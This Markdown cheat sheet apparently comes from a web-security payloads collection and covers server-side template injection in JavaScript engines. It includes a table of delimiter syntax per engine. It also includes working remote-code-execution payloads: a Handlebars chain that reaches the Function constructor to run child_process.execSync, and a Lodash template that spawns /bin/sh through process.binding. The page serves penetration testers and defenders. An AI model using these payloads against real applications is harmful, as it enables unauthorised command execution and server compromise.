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115 lines
3.4 KiB
Markdown
115 lines
3.4 KiB
Markdown
# Server Side Template Injection - JavaScript
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> Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.
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## Summary
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- [Templating Libraries](#templating-libraries)
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- [Handlebars](#handlebars)
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- [Handlebars - Command Execution](#handlebars---command-execution)
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- [Lodash](#Lodash)
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- [Lodash - Basic Injection](#lodash---basic-injection)
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- [Lodash - Command Execution](#lodash---command-execution)
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- [References](#references)
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## Templating Libraries
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| Template Name | Payload Format |
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| ------------ | --------- |
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| DotJS | `{{= }}` |
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| DustJS | `{}` |
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| EJS | `<% %>` |
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| HandlebarsJS | `{{ }}` |
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| HoganJS | `{{ }}` |
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| Lodash | `{{= }}` |
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| MustacheJS | `{{ }}` |
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| NunjucksJS | `{{ }}` |
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| PugJS | `#{}` |
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| TwigJS | `{{ }}` |
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| UnderscoreJS | `<% %>` |
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| VelocityJS | `#=set($X="")$X` |
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| VueJS | `{{ }}` |
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## Handlebars
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[Official website](https://handlebarsjs.com/)
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> Handlebars compiles templates into JavaScript functions.
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### Handlebars - Command Execution
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```handlebars
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{{#with "s" as |string|}}
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{{#with "e"}}
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{{#with split as |conslist|}}
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{{this.pop}}
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{{this.push (lookup string.sub "constructor")}}
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{{this.pop}}
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{{#with string.split as |codelist|}}
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{{this.pop}}
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{{this.push "return require('child_process').execSync('ls -la');"}}
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{{this.pop}}
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{{#each conslist}}
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{{#with (string.sub.apply 0 codelist)}}
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{{this}}
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{{/with}}
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{{/each}}
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{{/with}}
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{{/with}}
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{{/with}}
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{{/with}}
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```
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---
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## Lodash
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[Official website](https://lodash.com/docs/4.17.15)
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### Lodash - Basic Injection
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How to create a template:
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```javascript
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const _ = require('lodash');
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string = "{{= username}}"
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const options = {
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evaluate: /\{\{(.+?)\}\}/g,
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interpolate: /\{\{=(.+?)\}\}/g,
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escape: /\{\{-(.+?)\}\}/g,
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};
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_.template(string, options);
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```
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- **string:** The template string.
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- **options.interpolate:** It is a regular expression that specifies the HTML *interpolate* delimiter.
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- **options.evaluate:** It is a regular expression that specifies the HTML *evaluate* delimiter.
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- **options.escape:** It is a regular expression that specifies the HTML *escape* delimiter.
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For the purpose of RCE, the delimiter of templates is determined by the **options.evaluate** parameter.
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```javascript
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{{= _.VERSION}}
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${= _.VERSION}
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<%= _.VERSION %>
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{{= _.templateSettings.evaluate }}
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${= _.VERSION}
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<%= _.VERSION %>
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```
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### Lodash - Command Execution
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```js
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{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
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```
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## References
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- [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/)
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- [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) |